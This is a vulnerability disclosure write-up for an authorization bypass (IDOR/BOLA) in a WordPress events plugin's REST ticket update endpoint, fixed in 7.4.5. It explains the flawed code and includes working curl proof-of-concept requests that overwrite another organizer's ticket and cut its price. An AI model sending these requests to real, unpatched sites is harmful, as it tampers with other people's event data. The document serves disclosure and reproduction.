IDOR/BOLA in Events Manager <= 7.4.3 REST ticket update endpoint — CVE-2026-93661
Status: Published by WPScan · CVE assigned: CVE-2026-93661 · Verified · Fixed in 7.4.5 Private repository — for disclosure record-keeping and reproduction only.
| Repository | CVE-2026-93661-idor-events-manager |
| Plugin | Events Manager (events-manager) |
| Affected versions | < 7.4.5 |
| Fixed in | 7.4.5 |
| Vulnerability class | Insecure Direct Object Reference (IDOR) / Broken Object Level Authorization |
| OWASP Top 10 | A5: Broken Access Control |
| CWE | CWE-639 — Authorization Bypass Through User-Controlled Key |
| CVSS 3.1 (published) | 2.7 (Low) — AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N — WPScan calculator |
| Privilege required | Authenticated user with the manage_bookings capability (an Event Organizer role — by default WordPress capability mapping, this is Administrator-equivalent, hence PR:H) |
| Endpoint | PATCH /wp-json/events-manager/v1/tickets/{id} |
| WPVDB ID | 8f1c665e-15e4-4b5d-853d-919723614611 |
Note on the CVSS score. My original submission proposed
7.1(PR:L/I:H/A:L), reasoning from a delegated multi-organizer deployment scenario. WPScan's triage correctly rescored this to2.7using the standard default-capability mapping (manage_bookings= admin-only by default, hencePR:H) and scoping the integrity impact to the single affected object type rather than site-wide (I:L,A:N). The published score above is the authoritative one; this document reflects it.
Events Manager's REST API lets any user with the manage_bookings capability overwrite any
ticket on the site by numeric ID — including tickets that belong to events they do not own and
cannot otherwise touch — by exploiting a mismatch between the object the API authorizes (the
ticket named in the URL) and the object it writes (the ticket ID re-read from the request body).
A user who is correctly denied (HTTP 403) when editing another organizer's ticket directly can
instead PATCH their own ticket while placing the victim's ticket_id in the request body. The
handler re-assigns its own identity from that body value before saving, so the resulting
UPDATE statement targets and overwrites the victim's row — reassigning it into the attacker's
own event in the process (all other ticket columns, including price and capacity, are rewritten
from the request as well).
This is a textbook Broken Object Level Authorization (BOLA) bug: the authorization check runs against the right object, but a mutable identifier in the payload lets the attacker redirect the actual write to a different object afterward.
event_id) into an event the
attacker owns, effectively stealing it from the original event.On a default single-administrator installation only the Administrator holds manage_bookings, so
the practical risk is concentrated on the many Events Manager deployments that delegate
booking management to non-administrator organizer accounts — the plugin's own multi-organizer
use case.
Route: PATCH /wp-json/events-manager/v1/tickets/{id} → EM\API\Service::update_ticket()
(classes/api/em-api-service.php:417)
The handler correctly authorizes the ticket named in the URL:
$EM_Ticket = static::get_ticket_object( $id );
if ( !$EM_Ticket->can_manage() ) { return 403; }
...but then passes the raw request body into EM_Ticket::get_post() without stripping the
immutable identifiers. get_post() (classes/em-ticket.php:457,460) re-assigns the object's own
identity straight from attacker-controlled input:
$this->ticket_id = ( !empty($post['ticket_id']) && is_numeric(...) ) ? absint($post['ticket_id']) : null;
$this->event_id = ( !empty($post['event_id']) && is_numeric(...) ) ? absint($post['event_id']) : null;
EM_Ticket::save() then issues a raw UPDATE keyed on the re-assigned ticket_id
(classes/em-ticket.php:376):
$sql = "UPDATE $table SET ... WHERE ticket_id={$this->ticket_id}";
So the row that gets written is the one supplied in the body — not the one that was authorized in
the URL. A second, in-save() can_manage() check does not close the gap: it delegates to
get_event()->can_manage(), and get_event() (classes/em-ticket.php:865) resolves the event
from the attacker-supplied event_id. By setting event_id to an event the attacker does
own, both authorization checks pass while the UPDATE overwrites a ticket belonging to a
different event/owner entirely.
The sibling ticket-creation path proves the omission in update_ticket() is a genuine oversight
rather than intended behavior. create_event_ticket() (classes/api/em-api-service.php:402)
explicitly does:
unset( $data['id'], $data['ticket_id'] );
$data['event_id'] = $EM_Event->get_event_id();
update_ticket() performs neither of these steps.
Setup:
ticket_id=33, in event_id=27 owned by admin, name VICTIM2-ORIGINAL, price 40.00.manage_bookings (but not
manage_others_bookings), owning event_id=28 and ticket_id=32. Authenticates with a
WordPress Application Password.1) Negative control — direct edit of the victim's ticket is correctly denied:
curl -X PATCH -u organizer:APP_PASSWORD \
"https://TARGET/wp-json/events-manager/v1/tickets/33" \
-H "Content-Type: application/json" \
-d '{"ticket_id":33,"ticket_name":"DIRECT-SHOULD-FAIL"}'
HTTP/1.1 403
{"code":"em_api_ticket_forbidden","message":"You do not have permission to update this ticket."}
2) The IDOR — the attacker PATCHes their OWN ticket (32), but supplies the victim's ticket_id
in the body, plus an event_id they own to satisfy the second authorization check:
curl -X PATCH -u organizer:APP_PASSWORD \
"https://TARGET/wp-json/events-manager/v1/tickets/32" \
-H "Content-Type: application/json" \
-d '{"ticket_id":33,"event_id":28,"ticket_name":"HIJACKED-VIA-IDOR","ticket_price":"0.01"}'
HTTP/1.1 200
{"id":33,"event_id":28,"name":"HIJACKED-VIA-IDOR","price":0.01, ...}
3) Result — the victim ticket (33), which step 1 proved the attacker could not touch, is overwritten and reassigned into the attacker's own event:
| ticket_id | event_id | name | price | |
|---|---|---|---|---|
| Before | 33 | 27 (victim's) | VICTIM2-ORIGINAL | 40.00 |
| After | 33 | 28 (attacker's) | HIJACKED-VIA-IDOR | 0.01 |
A ready-to-run script is provided in exploit.sh.
With default (non-pretty) permalinks, replace
/wp-json/<ns>with/index.php?rest_route=/<ns>in every request above.